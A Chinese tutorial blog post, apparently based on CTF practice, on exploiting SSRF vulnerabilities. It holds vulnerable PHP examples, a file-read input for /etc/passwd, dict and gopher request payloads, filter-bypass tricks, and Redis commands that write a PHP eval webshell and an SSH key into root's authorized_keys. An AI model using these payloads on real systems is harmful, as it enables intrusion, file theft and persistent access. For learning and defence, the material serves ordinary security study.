持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第6天,点击查看活动详情
引文
之前更新了SQL注入和文件上传等基础漏洞,今天带大家了解一下SSRF漏洞,以及个人对之前遇到过的SSRF漏洞的理解。
定义
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标是从外网无法访问的内部系统。(因为该攻击是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。这也是SSRF漏洞影响最深的地方。
利用场景
了解了SSRF的基本信息,就像SQL注入需要传参点一样,SSRF的应用场景是什么呢,下面就简单举几个例子:
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容;
- 图片的加载与下载;
- 图片,文章的收藏;
可以发现SSRF的利用场景也是围绕着URL来进行的,这也是它的一个重要特征。
危害
为了体现该漏洞的危害性,我们先看看SSRF漏洞能对设备的安全造成什么影响吧:
跳板攻击: 利用SSRF漏洞,对内或对外发起攻击,以隐藏自己的真实IP(肉鸡)
绕过安全防御: 比如防火墙 CDN
内网探测:对内网服务器进行端口、资产、漏洞扫描。
访问和下载内网的敏感数据:利用file协议
攻击应用:利用发现的漏洞,可以进一步发起攻击利用
利用
既然SSRF漏洞危害这么大,那我们来详细看看如何利用该漏洞吧。
函数
在SSRF漏洞中,会经常遇到一些函数,这些函数看起来没有什么安全隐患,但往往就是这样的函数会被攻击者利用。
File_Get_Contents()
file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户。看起来没有问题,但如果网页的源码如下:
<?php
$xino = $_GET['xino'];;
echo file_get_contents($xino);
?>
当我们传入的xino参数为../../../etc/passwd 时,极有可能会回显给我们服务器的本地文件。
readfile()
与File_Get_Contents函数应用场景差不多,可以看作一样。
curl_exec()
初始化一个新的会话,返回一个curl句柄
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
构造url传参(www.baidu.com)会返回百度页面,存在SSRF利用点
协议
在SSRF攻击中,我们经常会用到很多协议。接下来我会逐一分析各个协议的用处。
http协议
作为我们日常生活中最常用的协议,如果机器对协议过滤不严格我们可以利用http协议去探测内网里的文件。
Dict协议
该协议主要作用是进行端口探测内网服务。以用来查找出内网服务漏洞来进行下一步攻击。利用格式如下:
?url=dict://127.0.0.1:8080
file伪协议
file协议主要用来读取本地文件,当过滤不严时,我们可以利用它读取服务器文件。
Gopher协议
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
而该协议可以构建GET或者POST请求,格式如下:
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
Redis未授权攻击
提起ssrf攻击,你一定会联想到redis未授权攻击,Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,同时如果没有设置密码认证(一般为空),可以免密码远程登录redis服务。这样非常容易收到攻击。
绝对路径写webshell
我们知道了绝对路径,就可以直接写shell。
flushallset 1 '<?php eval($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
写入SSH公钥
直接写入公钥:
flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave
我们直接SSH链接。
BYPASS
@绕过
根据URL解析原则,(@)后面跟请求IP地址,我们可以根据这样来BYPASS
?url=http://VPS@127.0.0.1/flag.php
进制转换
将IP地址转为其他进制来进行绕过。
短网址绕过
如果内网IP被ban了,我们可以尝试将IP转为短地址,具体可以去百度了解一下。
DNS重绑定
DNS重新绑定是计算机攻击的一种形式。 在这种攻击中,恶意网页会导致访问者运行客户端脚本,攻击网络上其他地方的计算机。 从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问为脚本提供服务的同一主机上的内容。 比较域名是实施此策略的重要部分,因此DNS重新绑定通过滥用域名系统(DNS)来绕过这种保护.
比如我们设置个人VPS的index.php为以下代码:
<?phpheader("Location:http://127.0.0.1/flag.php");
然后在进行攻击时访问我们服务器来进行DNS重绑定。
结尾
该文章简单整理了本人在CTF中遇到关于SSRF漏洞利用场景及方法,当然也是比较基础的,至于一些SSRF比较难的地方鸽到以后再更新吧。